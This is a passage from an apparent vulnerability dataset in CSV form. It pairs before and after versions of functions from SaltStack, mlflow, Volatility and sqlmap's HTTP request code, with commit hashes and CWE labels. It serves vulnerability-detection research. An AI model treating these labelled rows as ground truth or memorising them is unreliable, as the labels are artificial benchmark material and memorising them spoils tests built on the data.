            if isinstance(cret, dict):
                ret.update(cret)
                if os.path.isfile(tmp_filename):
                    os.remove(tmp_filename)
                return ret
            # Since we generated a new tempfile and we are not returning here
            # lets change the original sfn to the new tempfile or else we will
            # get file not found
            sfn = tmp_filename
        else:
            ret = {'changes': {},
                   'comment': '',
                   'name': name,
                   'result': True}

    if comment_ and contents is None:
        return _error(ret, comment_)
    else:
        try:
            return __salt__['file.manage_file'](
                name,
                sfn,
                ret,
                source,
                source_sum,
                user,
                group,
                mode,
                __env__,
                backup,
                makedirs,
                template,
                show_diff,
                contents,
                dir_mode,
                follow_symlinks)
        except Exception as exc:
            ret['changes'] = {}
            log.debug(traceback.format_exc())
            return _error(ret, 'Unable to manage file: {0}'.format(exc))
        finally:
            if tmp_filename and os.path.isfile(tmp_filename):
                os.remove(tmp_filename)",,saltstack/salt,c6244b46acde242a3f060b3d9646a3030e6d7948,"def managed(name,
            source=None,
            source_hash='',
            user=None,
            group=None,
            mode=None,
            template=None,
            makedirs=False,
            dir_mode=None,
            context=None,
            replace=True,
            defaults=None,
            env=None,
            backup='',
            show_diff=True,
            create=True,
            contents=None,
            contents_pillar=None,
            contents_grains=None,
            contents_newline=True,
            contents_delimiter=':',
            allow_empty=True,
            follow_symlinks=True,
            check_cmd=None,
            **kwargs):
    '''
    Manage a given file, this function allows for a file to be downloaded from
    the salt master and potentially run through a templating system.

    name
        The location of the file to manage

    source
        The source file to download to the minion, this source file can be
        hosted on either the salt master server, or on an HTTP or FTP server.
        Both HTTPS and HTTP are supported as well as downloading directly
        from Amazon S3 compatible URLs with both pre-configured and automatic
        IAM credentials. (see s3.get state documentation)
        File retrieval from Openstack Swift object storage is supported via
        swift://container/object_path URLs, see swift.get documentation.
        For files hosted on the salt file server, if the file is located on
        the master in the directory named spam, and is called eggs, the source
        string is salt://spam/eggs. If source is left blank or None
        (use ~ in YAML), the file will be created as an empty file and
        the content will not be managed

        If the file is hosted on a HTTP or FTP server then the source_hash
        argument is also required

        A list of sources can also be passed in to provide a default source and
        a set of fallbacks. The first source in the list that is found to exist
        will be used and subsequent entries in the list will be ignored. Source
        list functionality only supports local files and remote files hosted on
        the salt master server or retrievable via HTTP, HTTPS, or FTP.

        .. code-block:: yaml

            file_override_example:
              file.managed:
                - source:
                  - salt://file_that_does_not_exist
                  - salt://file_that_exists

    source_hash
        This can be one of the following:
            1. a source hash string
            2. the URI of a file that contains source hash strings

        The function accepts the first encountered long unbroken alphanumeric
        string of correct length as a valid hash, in order from most secure to
        least secure:

        .. code-block:: text

            Type    Length
            ======  ======
            sha512     128
            sha384      96
            sha256      64
            sha224      56
            sha1        40
            md5         32

        **Using a Source Hash File**
            The file can contain several checksums for several files. Each line
            must contain both the file name and the hash.  If no file name is
            matched, the first hash encountered will be used, otherwise the most
            secure hash with the correct source file name will be used.

            When using a source hash file the source_hash argument needs to be a
            url, the standard download urls are supported, ftp, http, salt etc:

            Example:

            .. code-block:: yaml

                tomdroid-src-0.7.3.tar.gz:
                  file.managed:
                    - name: /tmp/tomdroid-src-0.7.3.tar.gz
                    - source: https://launchpad.net/tomdroid/beta/0.7.3/+download/tomdroid-src-0.7.3.tar.gz
                    - source_hash: https://launchpad.net/tomdroid/beta/0.7.3/+download/tomdroid-src-0.7.3.hash

            The following is an example of the supported source_hash format:

            .. code-block:: text

                /etc/rc.conf ef6e82e4006dee563d98ada2a2a80a27
                sha254c8525aee419eb649f0233be91c151178b30f0dff8ebbdcc8de71b1d5c8bcc06a  /etc/resolv.conf
                ead48423703509d37c4a90e6a0d53e143b6fc268

            Debian file type ``*.dsc`` files are also supported.

        **Inserting the Source Hash in the sls Data**
            Examples:

            .. code-block:: yaml

                tomdroid-src-0.7.3.tar.gz:
                  file.managed:
                    - name: /tmp/tomdroid-src-0.7.3.tar.gz
                    - source: https://launchpad.net/tomdroid/beta/0.7.3/+download/tomdroid-src-0.7.3.tar.gz
                    - source_hash: md5=79eef25f9b0b2c642c62b7f737d4f53f


        Known issues:
            If the remote server URL has the hash file as an apparent
            sub-directory of the source file, the module will discover that it
            has already cached a directory where a file should be cached. For
            example:

            .. code-block:: yaml

                tomdroid-src-0.7.3.tar.gz:
                  file.managed:
                    - name: /tmp/tomdroid-src-0.7.3.tar.gz
                    - source: https://launchpad.net/tomdroid/beta/0.7.3/+download/tomdroid-src-0.7.3.tar.gz
                    - source_hash: https://launchpad.net/tomdroid/beta/0.7.3/+download/tomdroid-src-0.7.3.tar.gz/+md5


    user
        The user to own the file, this defaults to the user salt is running as
        on the minion

    group
        The group ownership set for the file, this defaults to the group salt
        is running as on the minion On Windows, this is ignored

    mode
        The permissions to set on this file, aka 644, 0775, 4664. Not supported
        on Windows

    template
        If this setting is applied then the named templating engine will be
        used to render the downloaded file, currently jinja, mako, and wempy
        are supported

    makedirs : False
        If set to ``True``, then the parent directories will be created to
        facilitate the creation of the named file. If ``False``, and the parent
        directory of the destination file doesn't exist, the state will fail.

    dir_mode
        If directories are to be created, passing this option specifies the
        permissions for those directories. If this is not set, directories
        will be assigned permissions from the 'mode' argument.

    replace : True
        If set to ``False`` and the file already exists, the file will not be
        modified even if changes would otherwise be made. Permissions and
        ownership will still be enforced, however.

    context
        Overrides default context variables passed to the template.

    defaults
        Default context passed to the template.

    backup
        Overrides the default backup mode for this specific file.

    show_diff : True
        If set to ``False``, the diff will not be shown in the return data if
        changes are made.

    create : True
        If set to ``False``, then the file will only be managed if the file
        already exists on the system.

    contents
        Specify the contents of the file. Cannot be used in combination with
        ``source``. Ignores hashes and does not use a templating engine.

        This value can be either a single string, a multiline YAML string or a
        list of strings.  If a list of strings, then the strings will be joined
        together with newlines in the resulting file. For example, the below
        two example states would result in identical file contents:

        .. code-block:: yaml

            /path/to/file1:
              file.managed:
                - contents:
                  - This is line 1
                  - This is line 2

            /path/to/file2:
              file.managed:
                - contents: |
                  This is line 1
                  This is line 2


    contents_pillar
        .. versionadded:: 0.17.0

        Operates like ``contents``, but draws from a value stored in pillar,
        using the pillar path syntax used in :mod:`pillar.get
        <salt.modules.pillar.get>`. This is useful when the pillar value
        contains newlines, as referencing a pillar variable using a jinja/mako
        template can result in YAML formatting issues due to the newlines
        causing indentation mismatches.

        For example, the following could be used to deploy an SSH private key:

        .. code-block:: yaml

            /home/deployer/.ssh/id_rsa:
              file.managed:
                - user: deployer
                - group: deployer
                - mode: 600
                - contents_pillar: userdata:deployer:id_rsa

        This would populate ``/home/deployer/.ssh/id_rsa`` with the contents of
        ``pillar['userdata']['deployer']['id_rsa']``. An example of this pillar
        setup would be like so:

        .. code-block:: yaml

            userdata:
              deployer:
                id_rsa: |
                  -----BEGIN RSA PRIVATE KEY-----
                  MIIEowIBAAKCAQEAoQiwO3JhBquPAalQF9qP1lLZNXVjYMIswrMe2HcWUVBgh+vY
                  U7sCwx/dH6+VvNwmCoqmNnP+8gTPKGl1vgAObJAnMT623dMXjVKwnEagZPRJIxDy
                  B/HaAre9euNiY3LvIzBTWRSeMfT+rWvIKVBpvwlgGrfgz70m0pqxu+UyFbAGLin+
                  GpxzZAMaFpZw4sSbIlRuissXZj/sHpQb8p9M5IeO4Z3rjkCP1cxI
                  -----END RSA PRIVATE KEY-----

        .. note::

            The private key above is shortened to keep the example brief, but
            shows how to do multiline string in YAML. The key is followed by a
            pipe character, and the mutliline string is indented two more
            spaces.

            To avoid the hassle of creating an indented multiline YAML string,
            the :mod:`file_tree external pillar <salt.pillar.file_tree>` can
            be used instead. However, this will not work for binary files in
            Salt releases before 2015.8.4.

    contents_grains
        .. versionadded:: 2014.7.0

        Same as ``contents_pillar``, but with grains

    contents_newline : True
        .. versionadded:: 2014.7.0
        .. versionchanged:: 2015.8.4
            This option is now ignored if the contents being deployed contain
            binary data.

        If ``True``, files managed using ``contents``, ``contents_pillar``, or
        ``contents_grains`` will have a newline added to the end of the file if
        one is not present. Setting this option to ``False`` will omit this
        final newline.

    contents_delimiter
        .. versionadded:: 2015.8.4

        Can be used to specify an alternate delimiter for ``contents_pillar``
        or ``contents_grains``. This delimiter will be passed through to
        :py:func:`pillar.get <salt.modules.pillar.get>` or :py:func:`grains.get
        <salt.modules.grains.get>` when retrieving the contents.

    allow_empty : True
        .. versionadded:: 2015.8.4

        If set to ``False``, then the state will fail if the contents specified
        by ``contents_pillar`` or ``contents_grains`` are empty.

    follow_symlinks : True
        .. versionadded:: 2014.7.0

        If the desired path is a symlink follow it and make changes to the
        file to which the symlink points.

    check_cmd
        .. versionadded:: 2014.7.0

        The specified command will be run with the managed file as an argument.
        If the command exits with a nonzero exit code, the state will fail and
        no changes will be made to the file.

        For example, the following could be used to verify sudoers before making
        changes:

        .. code-block:: yaml

            /etc/sudoers:
              file.managed:
                - user: root
                - group: root
                - mode: 0440
                - source: salt://sudoers/files/sudoers.jinja
                - template: jinja
                - check_cmd: /usr/sbin/visudo -c -f

    '''
    name = os.path.expanduser(name)

    ret = {'changes': {},
           'comment': '',
           'name': name,
           'result': True}

    contents_count = len(
        [x for x in (contents, contents_pillar, contents_grains) if x]
    )

    if source and contents_count > 0:
        return _error(
            ret,
            '\'source\' cannot be used in combination with \'contents\', '
            '\'contents_pillar\', or \'contents_grains\''
        )
    elif contents_count > 1:
        return _error(
            ret,
            'Only one of \'contents\', \'contents_pillar\', and '
            '\'contents_grains\' is permitted'
        )

    # If no source is specified, set replace to False, as there is nothing
    # with which to replace the file.
    if not source and contents_count == 0 and replace:
        replace = False
        log.warning(
            'Neither \'source\' nor \'contents\' nor \'contents_pillar\' nor '
            '\'contents_grains\' was defined, yet \'replace\' was set to '
            '\'True\'. As there is no source to replace the file with, '
            '\'replace\' has been set to \'False\' to avoid reading the file '
            'unnecessarily.'
        )

    # Use this below to avoid multiple '\0' checks and save some CPU cycles
    contents_are_binary = False
    if contents_pillar:
        contents = __salt__['pillar.get'](contents_pillar, __NOT_FOUND)
        if contents is __NOT_FOUND:
            return _error(
                ret,
                'Pillar {0} does not exist'.format(contents_pillar)
            )
        try:
            if '\0' in contents:
                contents_are_binary = True
        except TypeError:
            contents = str(contents)
        if not allow_empty and not contents:
            return _error(
                ret,
                'contents_pillar {0} results in empty contents'
                .format(contents_pillar)
            )

    elif contents_grains:
        contents = __salt__['grains.get'](contents_grains, __NOT_FOUND)
        if contents is __NOT_FOUND:
            return _error(
                ret,
                'Grain {0} does not exist'.format(contents_grains)
            )
        try:
            if '\0' in contents:
                contents_are_binary = True
        except TypeError:
            contents = str(contents)
        if not allow_empty and not contents:
            return _error(
                ret,
                'contents_grains {0} results in empty contents'
                .format(contents_grains)
            )

    elif contents:
        try:
            if '\0' in contents:
                contents_are_binary = True
        except TypeError:
            pass
        if not contents_are_binary:
            validated_contents = _validate_str_list(contents)
            if not validated_contents:
                return _error(
                    ret,
                    '\'contents\' is not a string or list of strings'
                )
            contents = os.linesep.join(validated_contents)

    # If either contents_pillar or contents_grains were used, the contents
    # variable now contains the value loaded from pillar/grains.
    if contents \
            and not contents_are_binary \
            and contents_newline \
            and not contents.endswith(os.linesep):
        contents += os.linesep

    # Make sure that leading zeros stripped by YAML loader are added back
    mode = __salt__['config.manage_mode'](mode)

    if not name:
        return _error(ret, 'Must provide name to file.exists')
    user = _test_owner(kwargs, user=user)
    if salt.utils.is_windows():
        if group is not None:
            log.warning(
                'The group argument for {0} has been ignored as this '
                'is a Windows system.'.format(name)
            )
        group = user
    if not create:
        if not os.path.isfile(name):
            # Don't create a file that is not already present
            ret['comment'] = ('File {0} is not present and is not set for '
                              'creation').format(name)
            return ret
    u_check = _check_user(user, group)
    if u_check:
        # The specified user or group do not exist
        return _error(ret, u_check)
    if not os.path.isabs(name):
        return _error(
            ret, 'Specified file {0} is not an absolute path'.format(name))

    if isinstance(env, six.string_types):
        msg = (
            'Passing a salt environment should be done using \'saltenv\' not '
            '\'env\'. This warning will go away in Salt Boron and this '
            'will be the default and expected behavior. Please update your '
            'state files.'
        )
        salt.utils.warn_until('Boron', msg)
        ret.setdefault('warnings', []).append(msg)
        # No need to set __env__ = env since that's done in the state machinery

    if os.path.isdir(name):
        ret['comment'] = 'Specified target {0} is a directory'.format(name)
        ret['result'] = False
        return ret

    if context is None:
        context = {}
    elif not isinstance(context, dict):
        return _error(
            ret, 'Context must be formed as a dict')
    if defaults and not isinstance(defaults, dict):
        return _error(
            ret, 'Defaults must be formed as a dict')

    if not replace and os.path.exists(name):
        # Check and set the permissions if necessary
        ret, _ = __salt__['file.check_perms'](name, ret, user, group, mode,
                                              follow_symlinks)
        if __opts__['test']:
            ret['comment'] = 'File {0} not updated'.format(name)
        elif not ret['changes'] and ret['result']:
            ret['comment'] = ('File {0} exists with proper permissions. '
                              'No changes made.'.format(name))
        return ret

    accum_data, _ = _load_accumulators()
    if name in accum_data:
        if not context:
            context = {}
        context['accumulator'] = accum_data[name]

    try:
        if __opts__['test']:
            ret['changes'] = __salt__['file.check_managed_changes'](
                name,
                source,
                source_hash,
                user,
                group,
                mode,
                template,
                context,
                defaults,
                __env__,
                contents,
                **kwargs
            )

            if ret['changes']:
                ret['result'] = None
                ret['comment'] = 'The file {0} is set to be changed'.format(name)
                if not show_diff:
                    ret['changes']['diff'] = '<show_diff=False>'
            else:
                ret['result'] = True
                ret['comment'] = 'The file {0} is in the correct state'.format(name)

            return ret

        # If the source is a list then find which file exists
        source, source_hash = __salt__['file.source_list'](
            source,
            source_hash,
            __env__
        )
    except CommandExecutionError as exc:
        ret['result'] = False
        ret['comment'] = 'Unable to manage file: {0}'.format(exc)
        return ret

    # Gather the source file from the server
    try:
        sfn, source_sum, comment_ = __salt__['file.get_managed'](
            name,
            template,
            source,
            source_hash,
            user,
            group,
            mode,
            __env__,
            context,
            defaults,
            **kwargs
        )
    except Exception as exc:
        ret['changes'] = {}
        log.debug(traceback.format_exc())
        return _error(ret, 'Unable to manage file: {0}'.format(exc))

    tmp_filename = None

    if check_cmd:
        tmp_filename = salt.utils.mkstemp()

        # if exists copy existing file to tmp to compare
        if __salt__['file.file_exists'](name):
            try:
                __salt__['file.copy'](name, tmp_filename)
            except Exception as exc:
                return _error(
                    ret,
                    'Unable to copy file {0} to {1}: {2}'.format(
                        name, tmp_filename, exc
                    )
                )

        try:
            ret = __salt__['file.manage_file'](
                tmp_filename,
                sfn,
                ret,
                source,
                source_sum,
                user,
                group,
                mode,
                __env__,
                backup,
                makedirs,
                template,
                show_diff,
                contents,
                dir_mode,
                follow_symlinks)
        except Exception as exc:
            ret['changes'] = {}
            log.debug(traceback.format_exc())
            if os.path.isfile(tmp_filename):
                os.remove(tmp_filename)
            return _error(ret, 'Unable to check_cmd file: {0}'.format(exc))

        # file being updated to verify using check_cmd
        if ret['changes']:
            # Reset ret
            ret = {'changes': {},
                   'comment': '',
                   'name': name,
                   'result': True}

            check_cmd_opts = {}
            if 'shell' in __grains__:
                check_cmd_opts['shell'] = __grains__['shell']

            cret = mod_run_check_cmd(check_cmd, tmp_filename, **check_cmd_opts)
            if isinstance(cret, dict):
                ret.update(cret)
                if os.path.isfile(tmp_filename):
                    os.remove(tmp_filename)
                return ret
            # Since we generated a new tempfile and we are not returning here
            # lets change the original sfn to the new tempfile or else we will
            # get file not found
            sfn = tmp_filename
        else:
            ret = {'changes': {},
                   'comment': '',
                   'name': name,
                   'result': True}

    if comment_ and contents is None:
        return _error(ret, comment_)
    else:
        try:
            return __salt__['file.manage_file'](
                name,
                sfn,
                ret,
                source,
                source_sum,
                user,
                group,
                mode,
                __env__,
                backup,
                makedirs,
                template,
                show_diff,
                contents,
                dir_mode,
                follow_symlinks)
        except Exception as exc:
            ret['changes'] = {}
            log.debug(traceback.format_exc())
            return _error(ret, 'Unable to manage file: {0}'.format(exc))
        finally:
            if tmp_filename and os.path.isfile(tmp_filename):
                os.remove(tmp_filename)"
functions_for_mlflow_with_cwe.csv,UNKNOWN,UNKNOWN,mlflow/server/__init__.py,0,"def serve_artifacts():
    return get_artifact_handler()",,mlflow/mlflow,63b9b50e5dfe2815b8a494d97fdd05def6e3192e,"def serve_artifacts():
    return get_artifact_handler()"
,UNKNOWN,UNKNOWN,tests/pytests/integration/runners/test_saltutil.py,1,"def test_sync(
    module_type, module_sync_functions, salt_run_cli, salt_minion, salt_master
):
    """"""
    Ensure modules are synced when various sync functions are called
    """"""
    module_name = f""hello_sync_{module_type}""
    module_contents = """"""
def __virtual__():
    return ""hello""

def world():
    return ""world""
""""""

    test_moduledir = salt_master.state_tree.base.write_path / f""_{module_type}""
    test_moduledir.mkdir(parents=True, exist_ok=True)
    module_tempfile = salt_master.state_tree.base.temp_file(
        f""_{module_type}/{module_name}.py"", module_contents
    )

    with module_tempfile:
        salt_cmd = f""saltutil.sync_{module_sync_functions[module_type]}""
        ret = salt_run_cli.run(salt_cmd)
        assert ret.returncode == 0
        assert f""{module_type}.hello"" in ret.stdout",CWE-703,saltstack/salt,9d335ba4ec20f89109b71753c0567e716795e755,"def test_sync(
    module_type, module_sync_functions, salt_run_cli, salt_minion, salt_master
):
    """"""
    Ensure modules are synced when various sync functions are called
    """"""
    module_name = f""hello_sync_{module_type}""
    module_contents = """"""
def __virtual__():
    return ""hello""

def world():
    return ""world""
""""""

    test_moduledir = salt_master.state_tree.base.paths[0] / f""_{module_type}""
    test_moduledir.mkdir(parents=True, exist_ok=True)
    module_tempfile = salt_master.state_tree.base.temp_file(
        f""_{module_type}/{module_name}.py"", module_contents
    )

    with module_tempfile, test_moduledir:
        salt_cmd = f""saltutil.sync_{module_sync_functions[module_type]}""
        ret = salt_run_cli.run(salt_cmd)
        assert ret.returncode == 0
        assert f""{module_type}.hello"" in ret.stdout"
functions_for_volatility_with_cwe.csv,UNKNOWN,UNKNOWN,volatility/plugins/gui/gahti.py,0,"def render_text(self, outfd, data):

        profile = utils.load_as(self._config).profile

        # Get the OS version being analyzed 
        version = (profile.metadata.get('major', 0),
                   profile.metadata.get('minor', 0))

        # Choose which USER handle enum to use 
        if version >= (6, 1):
            handle_types = consts.HANDLE_TYPE_ENUM_SEVEN
        else:
            handle_types = consts.HANDLE_TYPE_ENUM

        self.table_header(outfd,
                         [(""Session"", ""8""),
                          (""Type"", ""20""),
                          (""Tag"", ""8""),
                          (""fnDestroy"", ""[addrpad]""),
                          (""Flags"", """"),
                         ])

        for session in data:
            gahti = session.find_gahti()
            if gahti:
                for i, h in handle_types.items():
                    self.table_row(outfd,
                                    session.SessionId,
                                    h,
                                    gahti.types[i].dwAllocTag,
                                    gahti.types[i].fnDestroy,
                                    gahti.types[i].bObjectCreateFlags)",,volatilityfoundation/volatility,b284deb5d71d33cfb27bea954a845e91e1025eb2,"def render_text(self, outfd, data):

        profile = utils.load_as(self._config).profile

        if not self.is_valid_profile(profile):
            debug.error(""This command does not support the selected profile."")

        # Get the OS version being analyzed 
        version = (profile.metadata.get('major', 0),
                   profile.metadata.get('minor', 0))

        # Choose which USER handle enum to use 
        if version >= (6, 1):
            handle_types = consts.HANDLE_TYPE_ENUM_SEVEN
        else:
            handle_types = consts.HANDLE_TYPE_ENUM

        self.table_header(outfd,
                         [(""Session"", ""8""),
                          (""Type"", ""20""),
                          (""Tag"", ""8""),
                          (""fnDestroy"", ""[addrpad]""),
                          (""Flags"", """"),
                         ])

        for session in data:
            gahti = session.find_gahti()
            if gahti:
                for i, h in handle_types.items():
                    self.table_row(outfd,
                                    session.SessionId,
                                    h,
                                    gahti.types[i].dwAllocTag,
                                    gahti.types[i].fnDestroy,
                                    gahti.types[i].bObjectCreateFlags)"
,UNKNOWN,UNKNOWN,lib/request/connect.py,1,"def getPage(**kwargs):
        """"""
        This method connects to the target URL or proxy and returns
        the target URL page content
        """"""

        if conf.offline:
            return None, None, None

        url = kwargs.get(""url"", None) or conf.url
        get = kwargs.get(""get"", None)
        post = kwargs.get(""post"", None)
        method = kwargs.get(""method"", None)
        cookie = kwargs.get(""cookie"", None)
        ua = kwargs.get(""ua"", None) or conf.agent
        referer = kwargs.get(""referer"", None) or conf.referer
        direct_ = kwargs.get(""direct"", False)
        multipart = kwargs.get(""multipart"", None)
        silent = kwargs.get(""silent"", False)
        raise404 = kwargs.get(""raise404"", True)
        timeout = kwargs.get(""timeout"", None) or conf.timeout
        auxHeaders = kwargs.get(""auxHeaders"", None)
        response = kwargs.get(""response"", False)
        ignoreTimeout = kwargs.get(""ignoreTimeout"", False) or kb.ignoreTimeout or conf.ignoreTimeouts
        refreshing = kwargs.get(""refreshing"", False)
        retrying = kwargs.get(""retrying"", False)
        crawling = kwargs.get(""crawling"", False)
        checking = kwargs.get(""checking"", False)
        skipRead = kwargs.get(""skipRead"", False)
        finalCode = kwargs.get(""finalCode"", False)
        chunked = kwargs.get(""chunked"", False) or conf.chunked

        if isinstance(conf.delay, (int, float)) and conf.delay > 0:
            time.sleep(conf.delay)

        start = time.time()

        threadData = getCurrentThreadData()
        with kb.locks.request:
            kb.requestCounter += 1
            threadData.lastRequestUID = kb.requestCounter

            if conf.proxyFreq:
                if kb.requestCounter % conf.proxyFreq == 0:
                    conf.proxy = None

                    warnMsg = ""changing proxy""
                    logger.warning(warnMsg)

                    setHTTPHandlers()

        if conf.dummy or conf.murphyRate and randomInt() % conf.murphyRate == 0:
            if conf.murphyRate:
                time.sleep(randomInt() % (MAX_MURPHY_SLEEP_TIME + 1))

            page, headers, code = randomStr(int(randomInt()), alphabet=[_unichr(_) for _ in xrange(256)]), None, None if not conf.murphyRate else randomInt(3)

            threadData.lastPage = page
            threadData.lastCode = code

            return page, headers, code

        if conf.liveCookies:
            with kb.locks.liveCookies:
                if not checkFile(conf.liveCookies, raiseOnError=False) or os.path.getsize(conf.liveCookies) == 0:
                    warnMsg = ""[%s] [WARNING] live cookies file '%s' is empty or non-existent. Waiting for timeout (%d seconds)"" % (time.strftime(""%X""), conf.liveCookies, LIVE_COOKIES_TIMEOUT)
                    dataToStdout(warnMsg)

                    valid = False
                    for _ in xrange(LIVE_COOKIES_TIMEOUT):
                        if checkFile(conf.liveCookies, raiseOnError=False) and os.path.getsize(conf.liveCookies) > 0:
                            valid = True
                            break
                        else:
                            dataToStdout('.')
                            time.sleep(1)

                    dataToStdout(""\n"")

                    if not valid:
                        errMsg = ""problem occurred while loading cookies from file '%s'"" % conf.liveCookies
                        raise SqlmapValueException(errMsg)

                cookie = openFile(conf.liveCookies).read().strip()
                cookie = re.sub(r""(?i)\ACookie:\s*"", """", cookie)

        if multipart:
            post = multipart
        else:
            if not post:
                chunked = False

            elif chunked:
                post = _urllib.parse.unquote(post)
                post = chunkSplitPostData(post)

        webSocket = url.lower().startswith(""ws"")

        if not _urllib.parse.urlsplit(url).netloc:
            url = _urllib.parse.urljoin(conf.url, url)

        # flag to know if we are dealing with the same target host
        target = checkSameHost(url, conf.url)

        if not retrying:
            # Reset the number of connection retries
            threadData.retriesCount = 0

        # fix for known issue when urllib2 just skips the other part of provided
        # url splitted with space char while urlencoding it in the later phase
        url = url.replace("" "", ""%20"")

        if ""://"" not in url:
            url = ""http://%s"" % url

        conn = None
        page = None
        code = None
        status = None

        _ = _urllib.parse.urlsplit(url)
        requestMsg = u""HTTP request [#%d]:\r\n%s "" % (threadData.lastRequestUID, method or (HTTPMETHOD.POST if post is not None else HTTPMETHOD.GET))
        requestMsg += getUnicode((""%s%s"" % (_.path or ""/"", (""?%s"" % _.query) if _.query else """")) if not any((refreshing, crawling, checking)) else url)
        responseMsg = u""HTTP response ""
        requestHeaders = u""""
        responseHeaders = None
        logHeaders = u""""
        skipLogTraffic = False

        raise404 = raise404 and not kb.ignoreNotFound

        # support for non-latin (e.g. cyrillic) URLs as urllib/urllib2 doesn't
        # support those by default
        url = asciifyUrl(url)

        try:
            socket.setdefaulttimeout(timeout)

            if direct_:
                if '?' in url:
                    url, params = url.split('?', 1)
                    params = urlencode(params)
                    url = ""%s?%s"" % (url, params)

            elif any((refreshing, crawling, checking)):
                pass

            elif target:
                if conf.forceSSL:
                    url = re.sub(r""(?i)\A(http|ws):"", r""\g<1>s:"", url)
                    url = re.sub(r""(?i):80/"", "":443/"", url)

                if PLACE.GET in conf.parameters and not get:
                    get = conf.parameters[PLACE.GET]

                    if not conf.skipUrlEncode:
                        get = urlencode(get, limit=True)

                if get:
                    if '?' in url:
                        url = ""%s%s%s"" % (url, DEFAULT_GET_POST_DELIMITER, get)
                        requestMsg += ""%s%s"" % (DEFAULT_GET_POST_DELIMITER, get)
                    else:
                        url = ""%s?%s"" % (url, get)
                        requestMsg += ""?%s"" % get

                if PLACE.POST in conf.parameters and not post and method != HTTPMETHOD.GET:
                    post = conf.parameters[PLACE.POST]

            elif get:
                url = ""%s?%s"" % (url, get)
                requestMsg += ""?%s"" % get

            requestMsg += "" %s"" % _http_client.HTTPConnection._http_vsn_str

            # Prepare HTTP headers
            headers = forgeHeaders({HTTP_HEADER.COOKIE: cookie, HTTP_HEADER.USER_AGENT: ua, HTTP_HEADER.REFERER: referer, HTTP_HEADER.HOST: getHeader(dict(conf.httpHeaders), HTTP_HEADER.HOST) or getHostHeader(url)}, base=None if target else {})

            if HTTP_HEADER.COOKIE in headers:
                cookie = headers[HTTP_HEADER.COOKIE]

            if kb.authHeader:
                headers[HTTP_HEADER.AUTHORIZATION] = kb.authHeader

            if kb.proxyAuthHeader:
                headers[HTTP_HEADER.PROXY_AUTHORIZATION] = kb.proxyAuthHeader

            if not conf.requestFile or not target:
                if not getHeader(headers, HTTP_HEADER.ACCEPT):
                    headers[HTTP_HEADER.ACCEPT] = HTTP_ACCEPT_HEADER_VALUE

                if not getHeader(headers, HTTP_HEADER.ACCEPT_ENCODING):
                    headers[HTTP_HEADER.ACCEPT_ENCODING] = HTTP_ACCEPT_ENCODING_HEADER_VALUE if kb.pageCompress else ""identity""

            elif conf.requestFile and getHeader(headers, HTTP_HEADER.USER_AGENT) == DEFAULT_USER_AGENT:
                for header in headers:
                    if header.upper() == HTTP_HEADER.USER_AGENT.upper():
                        del headers[header]
                        break

            if post is not None and not multipart and not getHeader(headers, HTTP_HEADER.CONTENT_TYPE):
                headers[HTTP_HEADER.CONTENT_TYPE] = POST_HINT_CONTENT_TYPES.get(kb.postHint, DEFAULT_CONTENT_TYPE if unArrayizeValue(conf.base64Parameter) != HTTPMETHOD.POST else PLAIN_TEXT_CONTENT_TYPE)

            if headers.get(HTTP_HEADER.CONTENT_TYPE) == POST_HINT_CONTENT_TYPES[POST_HINT.MULTIPART]:
                warnMsg = ""missing 'boundary parameter' in '%s' header. "" % HTTP_HEADER.CONTENT_TYPE
                warnMsg += ""Will try to reconstruct""
                singleTimeWarnMessage(warnMsg)

                boundary = findMultipartPostBoundary(conf.data)
                if boundary:
                    headers[HTTP_HEADER.CONTENT_TYPE] = ""%s; boundary=%s"" % (headers[HTTP_HEADER.CONTENT_TYPE], boundary)

            if conf.keepAlive:
                headers[HTTP_HEADER.CONNECTION] = ""keep-alive""

            if chunked:
                headers[HTTP_HEADER.TRANSFER_ENCODING] = ""chunked""

            if auxHeaders:
                headers = forgeHeaders(auxHeaders, headers)

            if kb.headersFile:
                content = openFile(kb.headersFile, ""rb"").read()
                for line in content.split(""\n""):
                    line = getText(line.strip())
                    if ':' in line:
                        header, value = line.split(':', 1)
                        headers[header] = value

            if conf.localhost:
                headers[HTTP_HEADER.HOST] = ""localhost""

            for key, value in list(headers.items()):
                if key.upper() == HTTP_HEADER.ACCEPT_ENCODING.upper():
                    value = re.sub(r""(?i)(,)br(,)?"", lambda match: ',' if match.group(1) and match.group(2) else """", value) or ""identity""

                del headers[key]
                if isinstance(value, six.string_types):
                    for char in (r""\r"", r""\n""):
                        value = re.sub(r""(%s)([^ \t])"" % char, r""\g<1>\t\g<2>"", value)
                    headers[getBytes(key) if six.PY2 else key] = getBytes(value.strip(""\r\n""))  # Note: Python3 has_header() expects non-bytes value

            if six.PY2:
                url = getBytes(url)  # Note: Python3 requires text while Python2 has problems when mixing text with binary POST

            if webSocket:
                ws = websocket.WebSocket()
                ws.settimeout(WEBSOCKET_INITIAL_TIMEOUT if kb.webSocketRecvCount is None else timeout)
                ws.connect(url, header=(""%s: %s"" % _ for _ in headers.items() if _[0] not in (""Host"",)), cookie=cookie)  # WebSocket will add Host field of headers automatically
                ws.send(urldecode(post or """"))

                _page = []

                if kb.webSocketRecvCount is None:
                    while True:
                        try:
                            _page.append(ws.recv())
                        except websocket.WebSocketTimeoutException:
                            kb.webSocketRecvCount = len(_page)
                            break
                else:
                    for i in xrange(max(1, kb.webSocketRecvCount)):
                        _page.append(ws.recv())

                page = ""\n"".join(_page)

                ws.close()
                code = ws.status
                status = _http_client.responses[code]

                class _(dict):
                    pass

                responseHeaders = _(ws.getheaders())
                responseHeaders.headers = [""%s: %s\r\n"" % (_[0].capitalize(), _[1]) for _ in responseHeaders.items()]

                requestHeaders += ""\r\n"".join([""%s: %s"" % (u""-"".join(_.capitalize() for _ in getUnicode(key).split(u'-')) if hasattr(key, ""capitalize"") else getUnicode(key), getUnicode(value)) for (key, value) in responseHeaders.items()])
                requestMsg += ""\r\n%s"" % requestHeaders

                if post is not None:
                    requestMsg += ""\r\n\r\n%s"" % getUnicode(post)

                requestMsg += ""\r\n""

                threadData.lastRequestMsg = requestMsg

                logger.log(CUSTOM_LOGGING.TRAFFIC_OUT, requestMsg)
            else:
                post = getBytes(post)

                if unArrayizeValue(conf.base64Parameter) == HTTPMETHOD.POST:
                    if kb.place != HTTPMETHOD.POST:
                        conf.data = getattr(conf.data, UNENCODED_ORIGINAL_VALUE, conf.data)
                    else:
                        post = urldecode(post, convall=True)
                        post = encodeBase64(post)

                if target and cmdLineOptions.method or method and method not in (HTTPMETHOD.GET, HTTPMETHOD.POST):
                    req = MethodRequest(url, post, headers)
                    req.set_method(cmdLineOptions.method or method)
                elif url is not None:
                    req = _urllib.request.Request(url, post, headers)
                else:
